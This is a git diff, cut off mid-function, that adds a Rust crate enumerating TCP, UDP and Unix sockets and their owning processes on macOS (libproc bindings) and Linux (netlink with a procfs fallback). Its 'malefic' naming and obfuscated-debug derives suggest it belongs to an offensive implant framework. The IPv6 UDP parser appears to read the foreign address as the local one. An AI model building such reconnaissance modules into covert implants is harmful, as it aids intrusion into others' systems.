vst_ino: u64, + pub vst_uid: uid_t, + pub vst_gid: gid_t, + pub vst_atime: i64, + pub vst_atimensec: i64, + pub vst_mtime: i64, + pub vst_mtimensec: i64, + pub vst_ctime: i64, + pub vst_ctimensec: i64, + pub vst_birthtime: i64, + pub vst_birthtimensec: i64, + pub vst_size: off_t, + pub vst_blocks: i64, + pub vst_blksize: i32, + pub vst_flags: u32, + pub vst_gen: u32, + pub vst_rdev: u32, + pub vst_qspare: [i64; 2usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct in4in6_addr { + pub i46a_pad32: [u_int32_t; 3usize], + pub i46a_addr4: in_addr, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct in_sockinfo { + pub insi_fport: ::std::os::raw::c_int, + pub insi_lport: ::std::os::raw::c_int, + pub insi_gencnt: u64, + pub insi_flags: u32, + pub insi_flow: u32, + pub insi_vflag: u8, + pub insi_ip_ttl: u8, + pub rfu_1: u32, + pub insi_faddr: in_sockinfo__bindgen_ty_1, + pub insi_laddr: in_sockinfo__bindgen_ty_2, + pub insi_v4: in_sockinfo__bindgen_ty_3, + pub insi_v6: in_sockinfo__bindgen_ty_4, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union in_sockinfo__bindgen_ty_1 { + pub ina_46: in4in6_addr, + pub ina_6: in6_addr, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union in_sockinfo__bindgen_ty_2 { + pub ina_46: in4in6_addr, + pub ina_6: in6_addr, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct in_sockinfo__bindgen_ty_3 { + pub in4_tos: u_char, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct in_sockinfo__bindgen_ty_4 { + pub in6_hlim: u8, + pub in6_cksum: ::std::os::raw::c_int, + pub in6_ifindex: u_short, + pub in6_hops: ::std::os::raw::c_short, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct tcp_sockinfo { + pub tcpsi_ini: in_sockinfo, + pub tcpsi_state: ::std::os::raw::c_int, + pub tcpsi_timer: [::std::os::raw::c_int; 4usize], + pub tcpsi_mss: ::std::os::raw::c_int, + pub tcpsi_flags: u32, + pub rfu_1: u32, + pub tcpsi_tp: u64, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct un_sockinfo { + pub unsi_conn_so: u64, + pub unsi_conn_pcb: u64, + pub unsi_addr: un_sockinfo__bindgen_ty_1, + pub unsi_caddr: un_sockinfo__bindgen_ty_2, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union un_sockinfo__bindgen_ty_1 { + pub ua_sun: sockaddr_un, + pub ua_dummy: [::std::os::raw::c_char; 255usize], +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union un_sockinfo__bindgen_ty_2 { + pub ua_sun: sockaddr_un, + pub ua_dummy: [::std::os::raw::c_char; 255usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct ndrv_info { + pub ndrvsi_if_family: u32, + pub ndrvsi_if_unit: u32, + pub ndrvsi_if_name: [::std::os::raw::c_char; 16usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct kern_event_info { + pub kesi_vendor_code_filter: u32, + pub kesi_class_filter: u32, + pub kesi_subclass_filter: u32, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct kern_ctl_info { + pub kcsi_id: u32, + pub kcsi_reg_unit: u32, + pub kcsi_flags: u32, + pub kcsi_recvbufsize: u32, + pub kcsi_sendbufsize: u32, + pub kcsi_unit: u32, + pub kcsi_name: [::std::os::raw::c_char; 96usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct vsock_sockinfo { + pub local_cid: u32, + pub local_port: u32, + pub remote_cid: u32, + pub remote_port: u32, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct sockbuf_info { + pub sbi_cc: u32, + pub sbi_hiwat: u32, + pub sbi_mbcnt: u32, + pub sbi_mbmax: u32, + pub sbi_lowat: u32, + pub sbi_flags: ::std::os::raw::c_short, + pub sbi_timeo: ::std::os::raw::c_short, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct socket_info { + pub soi_stat: vinfo_stat, + pub soi_so: u64, + pub soi_pcb: u64, + pub soi_type: ::std::os::raw::c_int, + pub soi_protocol: ::std::os::raw::c_int, + pub soi_family: ::std::os::raw::c_int, + pub soi_options: ::std::os::raw::c_short, + pub soi_linger: ::std::os::raw::c_short, + pub soi_state: ::std::os::raw::c_short, + pub soi_qlen: ::std::os::raw::c_short, + pub soi_incqlen: ::std::os::raw::c_short, + pub soi_qlimit: ::std::os::raw::c_short, + pub soi_timeo: ::std::os::raw::c_short, + pub soi_error: u_short, + pub soi_oobmark: u32, + pub soi_rcv: sockbuf_info, + pub soi_snd: sockbuf_info, + pub soi_kind: ::std::os::raw::c_int, + pub rfu_1: u32, + pub soi_proto: socket_info__bindgen_ty_1, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union socket_info__bindgen_ty_1 { + pub pri_in: in_sockinfo, + pub pri_tcp: tcp_sockinfo, + pub pri_un: un_sockinfo, + pub pri_ndrv: ndrv_info, + pub pri_kern_event: kern_event_info, + pub pri_kern_ctl: kern_ctl_info, + pub pri_vsock: vsock_sockinfo, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct socket_fdinfo { + pub pfi: proc_fileinfo, + pub psi: socket_info, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct proc_fdinfo { + pub proc_fd: i32, + pub proc_fdtype: u32, +} +extern "C" { + pub fn proc_listpids( + type_: u32, + typeinfo: u32, + buffer: *mut ::std::os::raw::c_void, + buffersize: ::std::os::raw::c_int, + ) -> ::std::os::raw::c_int; +} +extern "C" { + pub fn proc_pidinfo( + pid: ::std::os::raw::c_int, + flavor: ::std::os::raw::c_int, + arg: u64, + buffer: *mut ::std::os::raw::c_void, + buffersize: ::std::os::raw::c_int, + ) -> ::std::os::raw::c_int; +} +extern "C" { + pub fn proc_pidfdinfo( + pid: ::std::os::raw::c_int, + fd: ::std::os::raw::c_int, + flavor: ::std::os::raw::c_int, + buffer: *mut ::std::os::raw::c_void, + buffersize: ::std::os::raw::c_int, + ) -> ::std::os::raw::c_int; +} diff --git a/malefic-crates/net/src/darwin/mod.rs b/malefic-crates/net/src/darwin/mod.rs new file mode 100644 index 0000000..a780174 --- /dev/null +++ b/malefic-crates/net/src/darwin/mod.rs @@ -0,0 +1,70 @@ +mod libproc_bindings; +pub mod socket; +mod sysctl; +// #[allow(unused)] +// mod libproc_bindings { +// include!(concat!(env!("OUT_DIR"), "/libproc_bindings.rs")); +// } + +use socket::{Protocol, Socket}; +use std::io::Error; +use std::process::Command; +use std::str::FromStr; + +use crate::darwin::sysctl::get_sockets_sysctl; +pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result, Error> { + let mut sockets = Vec::new(); + + if tcp { + if ipv4 { + sockets.extend(get_sockets_sysctl(Protocol::Tcp)?); + } + if ipv6 { + sockets.extend(get_sockets_sysctl(Protocol::Tcp6)?); + } + } + + if udp { + if ipv4 { + sockets.extend(get_sockets_sysctl(Protocol::Udp)?); + } + if ipv6 { + sockets.extend(get_sockets_sysctl(Protocol::Udp6)?); + } + } + + Ok(sockets) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_sockets() { + let sockets = get_sockets(true, true, true, true).unwrap(); + assert!(!sockets.is_empty(), "Should get some sockets"); + } + + #[test] + fn test_tcp_sockets() { + let sockets = get_sockets(true, false, true, false).unwrap(); + for socket in sockets { + match socket.protocol_socket_info { + socket::ProtocolSocketInfo::Tcp(_) => (), + _ => panic!("Expected TCP socket"), + } + } + } + + #[test] + fn test_udp_sockets() { + let sockets = get_sockets(true, false, false, true).unwrap(); + for socket in sockets { + match socket.protocol_socket_info { + socket::ProtocolSocketInfo::Udp(_) => (), + _ => panic!("Expected UDP socket"), + } + } + } +} diff --git a/malefic-crates/net/src/darwin/socket.rs b/malefic-crates/net/src/darwin/socket.rs new file mode 100644 index 0000000..dd31867 --- /dev/null +++ b/malefic-crates/net/src/darwin/socket.rs @@ -0,0 +1,174 @@ +use malefic_gateway::ObfDebug; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; + +#[derive(ObfDebug, Clone, Copy, PartialEq)] +pub enum Protocol { + Tcp, + Tcp6, + Udp, + Udp6, +} + +impl Protocol { + pub fn as_str(&self) -> &'static str { + match self { + Protocol::Tcp => "tcp", + Protocol::Tcp6 => "tcp6", + Protocol::Udp => "udp", + Protocol::Udp6 => "udp6", + } + } +} + +#[derive(ObfDebug, Clone, Copy, PartialEq)] +pub enum TcpState { + Closed, + Listen, + SynSent, + SynReceived, + Established, + CloseWait, + FinWait1, + Closing, + LastAck, + FinWait2, + TimeWait, +} + +impl TcpState { + pub fn to_string(&self) -> String { + match self { + TcpState::Closed => "CLOSED".to_string(), + TcpState::Listen => "LISTEN".to_string(), + TcpState::SynSent => "SYN_SENT".to_string(), + TcpState::SynReceived => "SYN_RECEIVED".to_string(), + TcpState::Established => "ESTABLISHED".to_string(), + TcpState::CloseWait => "CLOSE_WAIT".to_string(), + TcpState::FinWait1 => "FIN_WAIT_1".to_string(), + TcpState::Closing => "CLOSING".to_string(), + TcpState::LastAck => "LAST_ACK".to_string(), + TcpState::FinWait2 => "FIN_WAIT_2".to_string(), + TcpState::TimeWait => "TIME_WAIT".to_string(), + } + } + + pub fn as_str(&self) -> &'static str { + match self { + TcpState::Closed => "CLOSED", + TcpState::Listen => "LISTEN", + TcpState::SynSent => "SYN_SENT", + TcpState::SynReceived => "SYN_RECEIVED", + TcpState::Established => "ESTABLISHED", + TcpState::CloseWait => "CLOSE_WAIT", + TcpState::FinWait1 => "FIN_WAIT_1", + TcpState::Closing => "CLOSING", + TcpState::LastAck => "LAST_ACK", + TcpState::FinWait2 => "FIN_WAIT_2", + TcpState::TimeWait => "TIME_WAIT", + } + } +} + +#[derive(ObfDebug, Clone)] +pub struct TcpSocketInfo { + pub local_addr: IpAddr, + pub local_port: u16, + pub remote_addr: IpAddr, + pub remote_port: u16, + pub state: TcpState, +} + +#[derive(ObfDebug, Clone)] +pub struct UdpSocketInfo { + pub local_addr: IpAddr, + pub local_port: u16, +} + +#[derive(ObfDebug, Clone)] +pub enum ProtocolSocketInfo { + Tcp(TcpSocketInfo), + Udp(UdpSocketInfo), +} + +#[derive(ObfDebug, Clone)] +pub struct Socket { + pub protocol_socket_info: ProtocolSocketInfo, + pub pid: u32, + pub local_addr: String, + pub remote_addr: String, + pub protocol: String, + pub state: String, +} + +impl Socket { + pub fn new(protocol_socket_info: ProtocolSocketInfo, pid: u32) -> Self { + let (local_addr, remote_addr, protocol, state) = match &protocol_socket_info { + ProtocolSocketInfo::Tcp(info) => { + // Determine protocol based on IP address type + let proto = match info.local_addr { + IpAddr::V4(_) => "tcp", + IpAddr::V6(_) => "tcp6", + }; + ( + format!("{}:{}", format_ip(info.local_addr), info.local_port), + format!("{}:{}", format_ip(info.remote_addr), info.remote_port), + String::from(proto), + info.state.to_string(), + ) + } + ProtocolSocketInfo::Udp(info) => { + // Determine protocol based on IP address type + let proto = match info.local_addr { + IpAddr::V4(_) => "udp", + IpAddr::V6(_) => "udp6", + }; + ( + format!("{}:{}", format_ip(info.local_addr), info.local_port), + String::new(), + String::from(proto), + String::new(), + ) + } + }; + + Self { + protocol_socket_info, + pid, + local_addr, + remote_addr, + protocol, + state, + } + } +} + +pub fn format_ip(ip: IpAddr) -> String { + match ip { + IpAddr::V4(ip) => ip.to_string(), + IpAddr::V6(ip) => { + if ip.is_unspecified() { + "::".to_string() + } else { + ip.to_string() + } + } + } +} + +pub fn tcp_state_to_string(state: u8) -> String { + match state { + 0 => "CLOSED", + 1 => "LISTEN", + 2 => "SYN_SENT", + 3 => "SYN_RECEIVED", + 4 => "ESTABLISHED", + 5 => "CLOSE_WAIT", + 6 => "FIN_WAIT_1", + 7 => "CLOSING", + 8 => "LAST_ACK", + 9 => "FIN_WAIT_2", + 10 => "TIME_WAIT", + _ => "UNKNOWN", + } + .to_string() +} diff --git a/malefic-crates/net/src/darwin/sysctl.rs b/malefic-crates/net/src/darwin/sysctl.rs new file mode 100644 index 0000000..94ec410 --- /dev/null +++ b/malefic-crates/net/src/darwin/sysctl.rs @@ -0,0 +1,317 @@ +use super::libproc_bindings::*; +use super::socket::{Protocol, ProtocolSocketInfo, Socket, TcpSocketInfo, TcpState, UdpSocketInfo}; +use byteorder::{ByteOrder, NetworkEndian}; +use libc::{self, AF_INET, AF_INET6, IPPROTO_TCP, IPPROTO_UDP, PF_INET}; +use std::fs::OpenOptions; +use std::io::Write; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use std::ptr; +use std::time::Duration; +use std::{io, mem}; +// macOS specific sysctl MIB names +const NET_RT_IFLIST2: i32 = 6; +const PF_ROUTE: i32 = 17; +const NET_RT_STAT: i32 = 12; +const TCPCTL_PCBLIST: i32 = 1; +const UDPCTL_PCBLIST: i32 = 1; +use std::os::raw::{c_int, c_void}; +const PROX_FDTYPE_SOCKET: i32 = 2; +const SYSCTL_TIMEOUT: Duration = Duration::from_secs(3); + +pub type PID = c_int; + +#[repr(C)] +struct XInPcb { + xi_len: u32, + xi_kind: u32, + xi_socket_family: u32, + xi_socket_type: u32, + xi_socket_protocol: u32, + xi_socket_state: u32, + xi_socket_pcb: u64, + xi_laddr: [u32; 4], + xi_faddr: [u32; 4], + xi_lport: u16, + xi_fport: u16, + inp_vflag: u8, + inp_ip_ttl: u8, + inp_ip_p: u8, + pad: u8, +} + +#[repr(C)] +#[derive(Debug, Copy, Clone, PartialOrd, PartialEq)] +pub enum ProcFDType { + Atalk = 0, + Vnode = 1, + Socket = 2, + PSHM = 3, + PSEM = 4, + Kqueue = 5, + Pipe = 6, + FsEvents = 7, + NetPolicy = 9, +} + +impl ProcFDType { + fn from_u32(value: u32) -> Option { + match value { + 0 => Some(ProcFDType::Atalk), + 1 => Some(ProcFDType::Vnode), + 2 => Some(ProcFDType::Socket), + 3 => Some(ProcFDType::PSHM), + 4 => Some(ProcFDType::PSEM), + 5 => Some(ProcFDType::Kqueue), + 6 => Some(ProcFDType::Pipe), + 7 => Some(ProcFDType::FsEvents), + 9 => Some(ProcFDType::NetPolicy), + _ => None, + } + } +} + +pub struct ProcFDInfo { + pub proc_fd: i32, + pub proc_fdtype: ProcFDType, +} + +impl Default for ProcFDInfo { + fn default() -> Self { + ProcFDInfo { + proc_fd: 0, + proc_fdtype: ProcFDType::Atalk, + } + } +} + +impl ProcFDInfo { + fn try_from_proc_fdinfo(other: proc_fdinfo) -> Result { + Ok(ProcFDInfo { + proc_fd: other.proc_fd, + proc_fdtype: ProcFDType::from_u32(other.proc_fdtype) + .ok_or_else(|| io::Error::last_os_error())?, + }) + } +} + +pub fn list_all_fds_for_pid(pid: PID) -> Result, io::Error> { + // We need to call proc_pidinfo twice, one time to get needed buffer size. + // A second time to actually populate buffer. + let buffer_size = unsafe { + proc_pidinfo( + pid as c_int, + PROC_PIDLISTFDS as c_int, + 0, + ptr::null_mut(), + 0, + ) + }; + + if buffer_size <= 0 { + return Err(io::Error::last_os_error()); + } + + let number_of_fds = buffer_size as usize / mem::size_of::(); + + let mut fds: Vec = Vec::new(); + fds.resize_with(number_of_fds as usize, || proc_fdinfo { + proc_fd: 0, + proc_fdtype: 0, + }); + + let return_code = unsafe { + proc_pidinfo( + pid as c_int, + PROC_PIDLISTFDS as c_int, + 0, + fds.as_mut_ptr() as *mut c_void, + buffer_size, + ) + }; + + if return_code <= 0 { + Err(io::Error::last_os_error()) + } else { + Ok(fds + .into_iter() + .filter_map(|fd| ProcFDInfo::try_from_proc_fdinfo(fd).ok()) + .collect()) + } +} + +pub fn get_sockets_sysctl(protocol: Protocol) -> Result, io::Error> { + let mut sockets = Vec::new(); + + // Get all process PIDs + let number_of_pids = unsafe { proc_listpids(1, 0, std::ptr::null_mut(), 0) }; + + if number_of_pids < 0 { + return Err(io::Error::last_os_error()); + } + + let mut pids = vec![0i32; number_of_pids as usize]; + let return_code = unsafe { + proc_listpids( + 1, + 0, + pids.as_mut_ptr() as *mut _, + (pids.len() * std::mem::size_of::()) as i32, + ) + }; + + if return_code <= 0 { + return Err(io::Error::last_os_error()); + } + + // Filter out invalid PIDs + let pids: Vec = pids.into_iter().filter(|&pid| pid > 0).collect(); + + // Iterate through each process + for pid in pids { + let fds = match list_all_fds_for_pid(pid) { + Ok(fds) => fds, + Err(_) => continue, // Skip if insufficient permissions + }; + + // Iterate through file descriptors + for fd in &fds { + if fd.proc_fdtype as i32 != PROX_FDTYPE_SOCKET { + continue; + } + + let mut socket_buffer = vec![0u8; std::mem::size_of::()]; + let socket_size = unsafe { + proc_pidfdinfo( + pid, + fd.proc_fd, + PROC_PIDFDSOCKETINFO as i32, + socket_buffer.as_mut_ptr() as *mut _, + socket_buffer.len() as i32, + ) + }; + if socket_size < 0 { + continue; + } + + let socket_info = unsafe { &*(socket_buffer.as_ptr() as *const socket_fdinfo) }; + + // Check protocol type + let is_ipv6 = socket_info.psi.soi_family == AF_INET6 as i32; + let is_ipv6_protocol = matches!(protocol, Protocol::Tcp6 | Protocol::Udp6); + if is_ipv6 != is_ipv6_protocol { + continue; + } + + // Check protocol + let is_tcp = socket_info.psi.soi_protocol == libc::IPPROTO_TCP as i32; + let is_udp = socket_info.psi.soi_protocol == libc::IPPROTO_UDP as i32; + let is_tcp_protocol = matches!(protocol, Protocol::Tcp | Protocol::Tcp6); + let is_udp_protocol = matches!(protocol, Protocol::Udp | Protocol::Udp6); + if !((is_tcp && is_tcp_protocol) || (is_udp && is_udp_protocol)) { + continue; + } + + let protocol_socket_info = if is_tcp { + if let Some(tcp_info) = parse_tcp_socket_info(socket_info) { + ProtocolSocketInfo::Tcp(tcp_info) + } else { + continue; + } + } else { + if let Some(udp_info) = parse_udp_socket_info(socket_info) { + ProtocolSocketInfo::Udp(udp_info) + } else { + continue; + } + }; + + sockets.push(Socket::new(protocol_socket_info, pid as u32)); + } + } + Ok(sockets) +} + +pub fn parse_tcp_socket_info(sinfo: &socket_fdinfo) -> Option { + use std::convert::TryInto; + + if sinfo.psi.soi_family != AF_INET as i32 && sinfo.psi.soi_family != AF_INET6 as i32 { + return None; + } + if sinfo.psi.soi_protocol != IPPROTO_TCP as i32 { + return None; + } + + let is_ipv6 = sinfo.psi.soi_family == AF_INET6 as i32; + + let ini = unsafe { &sinfo.psi.soi_proto.pri_tcp.tcpsi_ini }; + + let local_addr = if is_ipv6 { + let addr = unsafe { ini.insi_laddr.ina_6.__u6_addr.__u6_addr8 }; + IpAddr::V6(Ipv6Addr::from(addr)) + } else { + let addr = unsafe { ini.insi_laddr.ina_46.i46a_addr4.s_addr }; + IpAddr::V4(Ipv4Addr::from(u32::from_be(addr))) + }; + + let remote_addr = if is_ipv6 { + let addr = unsafe { ini.insi_faddr.ina_6.__u6_addr.__u6_addr8 }; + IpAddr::V6(Ipv6Addr::from(addr)) + } else { + let addr = unsafe { ini.insi_faddr.ina_46.i46a_addr4.s_addr }; + IpAddr::V4(Ipv4Addr::from(u32::from_be(addr))) + }; + + let local_port = u16::from_be(ini.insi_lport as u16); + let remote_port = u16::from_be(ini.insi_fport as u16); + + let state = match unsafe { sinfo.psi.soi_proto.pri_tcp.tcpsi_state } { + 0 => TcpState::Closed, + 1 => TcpState::Listen, + 2 => TcpState::SynSent, + 3 => TcpState::SynReceived, + 4 => TcpState::Established, + 5 => TcpState::CloseWait, + 6 => TcpState::FinWait1, + 7 => TcpState::Closing, + 8 => TcpState::LastAck, + 9 => TcpState::FinWait2, + 10 => TcpState::TimeWait, + _ => TcpState::Closed, + }; + + Some(TcpSocketInfo { + local_addr, + local_port, + remote_addr, + remote_port, + state, + }) +} + +pub fn parse_udp_socket_info(sinfo: &socket_fdinfo) -> Option { + if sinfo.psi.soi_family != AF_INET as i32 && sinfo.psi.soi_family != AF_INET6 as i32 { + return None; + } + if sinfo.psi.soi_protocol != IPPROTO_UDP as i32 { + return None; + } + + let is_ipv6 = sinfo.psi.soi_family == AF_INET6 as i32; + + let ini = unsafe { &sinfo.psi.soi_proto.pri_in }; + + let local_addr = if is_ipv6 { + let addr = unsafe { ini.insi_faddr.ina_6.__u6_addr.__u6_addr8 }; + IpAddr::V6(Ipv6Addr::from(addr)) + } else { + let addr = unsafe { ini.insi_laddr.ina_46.i46a_addr4.s_addr }; + IpAddr::V4(Ipv4Addr::from(u32::from_be(addr))) + }; + + let local_port = u16::from_be(ini.insi_lport as u16); + + Some(UdpSocketInfo { + local_addr, + local_port, + }) +} diff --git a/malefic-crates/net/src/lib.rs b/malefic-crates/net/src/lib.rs new file mode 100644 index 0000000..1ad74fc --- /dev/null +++ b/malefic-crates/net/src/lib.rs @@ -0,0 +1,53 @@ +#[cfg(target_os = "macos")] +pub mod darwin; +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +#[cfg(target_os = "macos")] +use darwin as netstat; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux as netstat; +#[cfg(target_os = "windows")] +use win as netstat; + +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug, Clone)] +pub struct NetInterface { + pub index: u32, + pub name: String, + pub mac: String, + pub ips: Vec, +} + +pub fn get_network_interfaces() -> Result, CommonError> { + Ok(Vec::new()) +} + +#[derive(ObfDebug, Clone)] +pub struct NetStat { + pub local_addr: String, + pub remote_addr: String, + pub protocol: String, + pub pid: String, + pub sk_state: String, +} + +pub fn get_netstat() -> Result, CommonError> { + let mut netstats = Vec::new(); + let sockets = to_error!(netstat::get_sockets(true, true, true, true))?; + for socket in sockets { + netstats.push(NetStat { + local_addr: socket.local_addr, + remote_addr: socket.remote_addr, + protocol: socket.protocol, + pid: socket.pid.to_string(), + sk_state: socket.state, + }); + } + Ok(netstats) +} diff --git a/malefic-crates/net/src/linux/mod.rs b/malefic-crates/net/src/linux/mod.rs new file mode 100644 index 0000000..be8ffad --- /dev/null +++ b/malefic-crates/net/src/linux/mod.rs @@ -0,0 +1,134 @@ +mod netlink; +mod procfs; +mod socket; + +use socket::{Protocol, Socket}; +use std::io::Error; + +pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result, Error> { + let mut sockets = Vec::new(); + + // First try using netlink interface + let use_netlink = || -> Result, Error> { + let mut sockets = Vec::new(); + if tcp { + if ipv4 { + sockets.extend(netlink::get_sockets_netlink(Protocol::Tcp)?); + } + if ipv6 { + if let Ok(socks) = netlink::get_sockets_netlink(Protocol::Tcp6) { + sockets.extend(socks); + } + } + } + + if udp { + if ipv4 { + sockets.extend(netlink::get_sockets_netlink(Protocol::Udp)?); + } + if ipv6 { + if let Ok(socks) = netlink::get_sockets_netlink(Protocol::Udp6) { + sockets.extend(socks); + } + } + } + + // Add Unix domain sockets + if let Ok(socks) = netlink::get_sockets_netlink(Protocol::Unix) { + sockets.extend(socks); + } + + Ok(sockets) + }; + + // If netlink fails, fall back to procfs + match use_netlink() { + Ok(netlink_sockets) => { + sockets.extend(netlink_sockets); + } + Err(_) => { + if tcp { + if ipv4 { + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Tcp, "/proc/net/tcp") { + sockets.extend(socks); + } + } + if ipv6 { + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Tcp6, "/proc/net/tcp6") + { + sockets.extend(socks); + } + } + } + + if udp { + if ipv4 { + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Udp, "/proc/net/udp") { + sockets.extend(socks); + } + } + if ipv6 { + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Udp6, "/proc/net/udp6") + { + sockets.extend(socks); + } + } + } + + // Also add Unix domain sockets when falling back to procfs + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Unix, "/proc/net/unix") { + sockets.extend(socks); + } + } + } + + Ok(sockets) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_sockets() { + let sockets = get_sockets(true, true, true, true).unwrap(); + assert!(!sockets.is_empty(), "Should get some sockets"); + } + + #[test] + fn test_tcp_sockets() { + let sockets = get_sockets(true, false, true, false).unwrap(); + for socket in sockets { + if socket.protocol == "tcp" { + assert!(!socket.local_addr.is_empty()); + assert!(!socket.state.is_empty()); + } + } + } + + #[test] + fn test_udp_sockets() { + let sockets = get_sockets(true, false, false, true).unwrap(); + for socket in sockets { + if socket.protocol == "udp" { + assert!(!socket.local_addr.is_empty()); + assert!(socket.state.is_empty()); + assert!(socket.remote_addr.is_empty()); + } + } + } + + #[test] + fn test_unix_sockets() { + let sockets = get_sockets(false, false, false, false).unwrap(); + let unix_sockets: Vec<_> = sockets + .into_iter() + .filter(|s| s.protocol == "unix") + .collect(); + assert!(!unix_sockets.is_empty(), "Should get some Unix sockets"); + for socket in unix_sockets { + assert_eq!(socket.protocol, "unix"); + assert!(!socket.state.is_empty()); + } + } +} diff --git a/malefic-crates/net/src/linux/netlink.rs b/malefic-crates/net/src/linux/netlink.rs new file mode 100644 index 0000000..48dc8eb --- /dev/null +++ b/malefic-crates/net/src/linux/netlink.rs @@ -0,0 +1,496 @@ +use super::socket::{format_ip, tcp_state_to_string, Protocol, Socket}; +use std::io::{Error, ErrorKind}; +use std::mem; +use std::net::{Ipv4Addr, Ipv6Addr}; + +#[repr(C)] +struct NlMsgHdr { + nlmsg_len: u32, + nlmsg_type: u16, + nlmsg_flags: u16, + nlmsg_seq: u32, + nlmsg_pid: u32, +} + +#[repr(C)] +struct InetDiagReqV2 { + family: u8, + protocol: u8, + ext: u8, + pad: u8, + states: u32, + id: InetDiagSockId, +} + +#[repr(C)] +struct InetDiagSockId { + sport: u16, + dport: u16, + src: [u32; 4], + dst: [u32; 4], + if_idx: u32, + cookie: [u32; 2], +} + +#[repr(C)] +struct InetDiagMsg { + family: u8, + state: u8, + timer: u8, + retrans: u8, + id: InetDiagSockId, + expires: u32, + rqueue: u32, + wqueue: u32, + uid: u32, + inode: u32, +} + +#[repr(C)] +struct UnixDiagReq { + family: u8, + protocol: u8, + pad: u16, + states: u32, + ino: u32, + show: u32, + cookie: [u32; 2], +} + +#[repr(C)] +struct UnixDiagMsg { + family: u8, + pad1: u8, + pad2: u16, + ino: u32, + cookie: [u32; 2], + state: u32, + flags: u32, + type_: u32, + pad3: u32, +} + +#[repr(C)] +struct NlAttr { + nla_len: u16, + nla_type: u16, +} + +const NLMSG_ALIGNTO: usize = 4; +const NLMSG_HDRLEN: usize = mem::size_of::(); +const NLM_F_REQUEST: u16 = 1; +const NLM_F_DUMP: u16 = 0x300; +const SOCK_DIAG_BY_FAMILY: u16 = 20; +const TCPF_ALL: u32 = 0xFFF; +const UDIAG_SHOW_NAME: u32 = 0x01; +const UDIAG_SHOW_PEER: u32 = 0x04; +const SOCK_STREAM: u32 = 1; +const SOCK_DGRAM: u32 = 2; +const SOCK_SEQPACKET: u32 = 5; +const UNIX_STATE_UNCONNECTED: u32 = 0; +const UNIX_STATE_CONNECTED: u32 = 1; +const UNIX_STATE_LISTENING: u32 = 2; +const UNIX_STATE_DISCONNECTING: u32 = 3; +const UNIX_STATE_DISCONNECTED: u32 = 4; + +fn nlmsg_align(len: usize) -> usize { + (len + NLMSG_ALIGNTO - 1) & !(NLMSG_ALIGNTO - 1) +} + +pub fn get_sockets_netlink(protocol: Protocol) -> Result, Error> { + match protocol { + Protocol::Tcp | Protocol::Tcp6 | Protocol::Udp | Protocol::Udp6 => { + get_inet_sockets(protocol) + } + Protocol::Unix => get_unix_sockets_netlink(), + } +} + +fn get_inet_sockets(protocol: Protocol) -> Result, Error> { + let sock = create_netlink_socket()?; + let family = match protocol { + Protocol::Tcp | Protocol::Udp => libc::AF_INET, + Protocol::Tcp6 | Protocol::Udp6 => libc::AF_INET6, + _ => unreachable!(), + }; + + let proto = match protocol { + Protocol::Tcp | Protocol::Tcp6 => libc::IPPROTO_TCP, + Protocol::Udp | Protocol::Udp6 => libc::IPPROTO_UDP, + _ => unreachable!(), + }; + + let req = create_inet_request(family as u8, proto as u8)?; + send_netlink_request(sock, &req)?; + let resp = receive_netlink_response(sock)?; + unsafe { libc::close(sock) }; + + parse_inet_response(resp, protocol) +} + +fn get_unix_sockets_netlink() -> Result, Error> { + let sock = create_netlink_socket()?; + let req = create_unix_request()?; + send_netlink_request(sock, &req)?; + let resp = receive_netlink_response(sock)?; + unsafe { libc::close(sock) }; + + parse_unix_response(resp) +} + +fn create_netlink_socket() -> Result { + let sock = unsafe { + libc::socket( + libc::AF_NETLINK, + libc::SOCK_RAW | libc::SOCK_CLOEXEC, + libc::NETLINK_SOCK_DIAG, + ) + }; + + if sock < 0 { + return Err(Error::last_os_error()); + } + + let addr = unsafe { + let mut addr: libc::sockaddr_nl = mem::zeroed(); + addr.nl_family = libc::AF_NETLINK as u16; + addr + }; + + let bind_result = unsafe { + libc::bind( + sock, + &addr as *const _ as *const libc::sockaddr, + mem::size_of::() as u32, + ) + }; + + if bind_result < 0 { + let err = Error::last_os_error(); + unsafe { libc::close(sock) }; + return Err(err); + } + + Ok(sock) +} + +fn create_inet_request(family: u8, protocol: u8) -> Result, Error> { + let req = InetDiagReqV2 { + family, + protocol, + ext: 0, + pad: 0, + states: TCPF_ALL, + id: InetDiagSockId { + sport: 0, + dport: 0, + src: [0; 4], + dst: [0; 4], + if_idx: 0, + cookie: [0; 2], + }, + }; + + let nlh = NlMsgHdr { + nlmsg_len: (NLMSG_HDRLEN + mem::size_of::()) as u32, + nlmsg_type: SOCK_DIAG_BY_FAMILY, + nlmsg_flags: 